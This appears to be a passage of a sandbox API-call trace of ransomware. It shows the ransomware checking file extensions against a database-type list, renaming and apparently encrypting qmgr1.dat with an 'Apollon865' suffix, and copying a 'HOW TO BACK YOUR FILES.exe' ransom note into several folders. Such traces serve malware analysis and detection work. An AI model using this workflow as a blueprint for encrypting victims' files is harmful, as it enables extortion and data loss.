	[0084.612] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0084.612] lstrlenW (lpString="fdb") returned 3
	[0084.612] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0084.612] lstrlenW (lpString="fic") returned 3
	[0084.612] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0084.612] lstrlenW (lpString="flexolibrary") returned 12
	[0084.612] lstrlenW (lpString="fm5") returned 3
	[0084.612] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0084.613] lstrlenW (lpString="fmp") returned 3
	[0084.613] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0084.613] lstrlenW (lpString="fmp12") returned 5
	[0084.613] lstrcmpiW (lpString1="1.dat", lpString2="fmp12") returned -1
	[0084.613] lstrlenW (lpString="fmpsl") returned 5
	[0084.613] lstrcmpiW (lpString1="1.dat", lpString2="fmpsl") returned -1
	[0084.613] lstrlenW (lpString="fol") returned 3
	[0084.613] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0084.613] lstrlenW (lpString="fp3") returned 3
	[0084.613] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0084.613] lstrlenW (lpString="fp4") returned 3
	[0084.613] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0084.613] lstrlenW (lpString="fp5") returned 3
	[0084.613] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0084.613] lstrlenW (lpString="fp7") returned 3
	[0084.613] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0084.613] lstrlenW (lpString="fpt") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0084.614] lstrlenW (lpString="frm") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0084.614] lstrlenW (lpString="gdb") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0084.614] lstrlenW (lpString="gdb") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0084.614] lstrlenW (lpString="grdb") returned 4
	[0084.614] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0084.614] lstrlenW (lpString="gwi") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0084.614] lstrlenW (lpString="hdb") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0084.614] lstrlenW (lpString="his") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0084.614] lstrlenW (lpString="ib") returned 2
	[0084.614] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0084.614] lstrlenW (lpString="idb") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0084.614] lstrlenW (lpString="ihx") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0084.614] lstrlenW (lpString="itdb") returned 4
	[0084.614] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0084.614] lstrlenW (lpString="itw") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0084.614] lstrlenW (lpString="jet") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0084.614] lstrlenW (lpString="jtx") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0084.614] lstrlenW (lpString="kdb") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0084.614] lstrlenW (lpString="kexi") returned 4
	[0084.614] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0084.614] lstrlenW (lpString="kexic") returned 5
	[0084.614] lstrcmpiW (lpString1="1.dat", lpString2="kexic") returned -1
	[0084.614] lstrlenW (lpString="kexis") returned 5
	[0084.614] lstrcmpiW (lpString1="1.dat", lpString2="kexis") returned -1
	[0084.614] lstrlenW (lpString="lgc") returned 3
	[0084.614] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0084.615] lstrlenW (lpString="lwx") returned 3
	[0084.615] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0084.615] lstrlenW (lpString="maf") returned 3
	[0084.615] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0084.615] lstrlenW (lpString="maq") returned 3
	[0084.615] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0084.615] lstrlenW (lpString="mar") returned 3
	[0084.615] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0084.615] lstrlenW (lpString="marshal") returned 7
	[0084.615] lstrcmpiW (lpString1="gr1.dat", lpString2="marshal") returned -1
	[0084.615] lstrlenW (lpString="mas") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0084.617] lstrlenW (lpString="mav") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0084.617] lstrlenW (lpString="maw") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0084.617] lstrlenW (lpString="mdbhtml") returned 7
	[0084.617] lstrcmpiW (lpString1="gr1.dat", lpString2="mdbhtml") returned -1
	[0084.617] lstrlenW (lpString="mdn") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0084.617] lstrlenW (lpString="mdt") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0084.617] lstrlenW (lpString="mfd") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0084.617] lstrlenW (lpString="mpd") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0084.617] lstrlenW (lpString="mrg") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0084.617] lstrlenW (lpString="mud") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0084.617] lstrlenW (lpString="mwb") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0084.617] lstrlenW (lpString="myd") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0084.617] lstrlenW (lpString="ndf") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0084.617] lstrlenW (lpString="nnt") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0084.617] lstrlenW (lpString="nrmlib") returned 6
	[0084.617] lstrcmpiW (lpString1="r1.dat", lpString2="nrmlib") returned 1
	[0084.617] lstrlenW (lpString="ns2") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0084.617] lstrlenW (lpString="ns3") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0084.617] lstrlenW (lpString="ns4") returned 3
	[0084.617] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0084.618] lstrlenW (lpString="nsf") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0084.618] lstrlenW (lpString="nv") returned 2
	[0084.618] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0084.618] lstrlenW (lpString="nv2") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0084.618] lstrlenW (lpString="nwdb") returned 4
	[0084.618] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0084.618] lstrlenW (lpString="nyf") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0084.618] lstrlenW (lpString="odb") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0084.618] lstrlenW (lpString="odb") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0084.618] lstrlenW (lpString="oqy") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0084.618] lstrlenW (lpString="ora") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0084.618] lstrlenW (lpString="orx") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0084.618] lstrlenW (lpString="owc") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0084.618] lstrlenW (lpString="p96") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0084.618] lstrlenW (lpString="p97") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0084.618] lstrlenW (lpString="pan") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0084.618] lstrlenW (lpString="pdb") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0084.618] lstrlenW (lpString="pdm") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0084.618] lstrlenW (lpString="pnz") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0084.618] lstrlenW (lpString="qry") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0084.618] lstrlenW (lpString="qvd") returned 3
	[0084.618] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0084.619] lstrlenW (lpString="rbf") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0084.619] lstrlenW (lpString="rctd") returned 4
	[0084.619] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0084.619] lstrlenW (lpString="rod") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0084.619] lstrlenW (lpString="rodx") returned 4
	[0084.619] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0084.619] lstrlenW (lpString="rpd") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0084.619] lstrlenW (lpString="rsd") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0084.619] lstrlenW (lpString="sas7bdat") returned 8
	[0084.619] lstrcmpiW (lpString1="mgr1.dat", lpString2="sas7bdat") returned -1
	[0084.619] lstrlenW (lpString="sbf") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0084.619] lstrlenW (lpString="scx") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0084.619] lstrlenW (lpString="sdb") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0084.619] lstrlenW (lpString="sdc") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0084.619] lstrlenW (lpString="sdf") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0084.619] lstrlenW (lpString="sis") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0084.619] lstrlenW (lpString="spq") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0084.619] lstrlenW (lpString="te") returned 2
	[0084.619] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0084.619] lstrlenW (lpString="teacher") returned 7
	[0084.619] lstrcmpiW (lpString1="gr1.dat", lpString2="teacher") returned -1
	[0084.619] lstrlenW (lpString="tmd") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0084.619] lstrlenW (lpString="tps") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0084.619] lstrlenW (lpString="trc") returned 3
	[0084.619] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0084.620] lstrlenW (lpString="trc") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0084.620] lstrlenW (lpString="trm") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0084.620] lstrlenW (lpString="udb") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0084.620] lstrlenW (lpString="udl") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0084.620] lstrlenW (lpString="usr") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0084.620] lstrlenW (lpString="v12") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0084.620] lstrlenW (lpString="vis") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0084.620] lstrlenW (lpString="vpd") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0084.620] lstrlenW (lpString="vvv") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0084.620] lstrlenW (lpString="wdb") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0084.620] lstrlenW (lpString="wmdb") returned 4
	[0084.620] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0084.620] lstrlenW (lpString="wrk") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0084.620] lstrlenW (lpString="xdb") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0084.620] lstrlenW (lpString="xld") returned 3
	[0084.620] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0084.620] lstrlenW (lpString="xmlff") returned 5
	[0084.620] lstrcmpiW (lpString1="1.dat", lpString2="xmlff") returned -1
	[0084.620] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.Apollon865") returned 68
	[0084.620] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat.apollon865"), dwFlags=0x1) returned 1
	[0084.625] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.625] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4194304) returned 1
	[0084.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.626] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.626] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.626] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.627] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400300, lpName=0x0) returned 0x15c
	[0084.628] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0084.628] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2bb0000
	[0084.727] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0084.746] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.747] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.747] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0084.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0084.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.748] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.748] CloseHandle (hObject=0x15c) returned 1
	[0084.748] CloseHandle (hObject=0x9c) returned 1
	[0084.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.775] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0
	[0084.775] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.775] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c50
	[0084.775] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Connections", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections"
	[0084.775] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0084.775] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0084.775] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned 48
	[0084.775] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections"
	[0084.775] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.775] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.776] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.777] GetLastError () returned 0x0
	[0084.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.777] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.777] CloseHandle (hObject=0x10c) returned 1
	[0084.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.777] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.777] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.777] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.777] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.777] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.778] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.778] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.778] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.778] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.778] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.778] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.778] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbdff50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.778] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.778] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bf0
	[0084.778] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework"
	[0084.778] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598588 | out: hHeap=0x580000) returned 1
	[0084.778] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0084.778] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\NetFramework") returned 41
	[0084.778] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: lpString1="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework"
	[0084.778] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.778] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.779] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.779] GetLastError () returned 0x0
	[0084.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.779] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.779] CloseHandle (hObject=0x10c) returned 1
	[0084.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.779] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.779] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.780] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.780] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.780] lstrcmpiW (lpString1=".", lpString2=".") returned 0
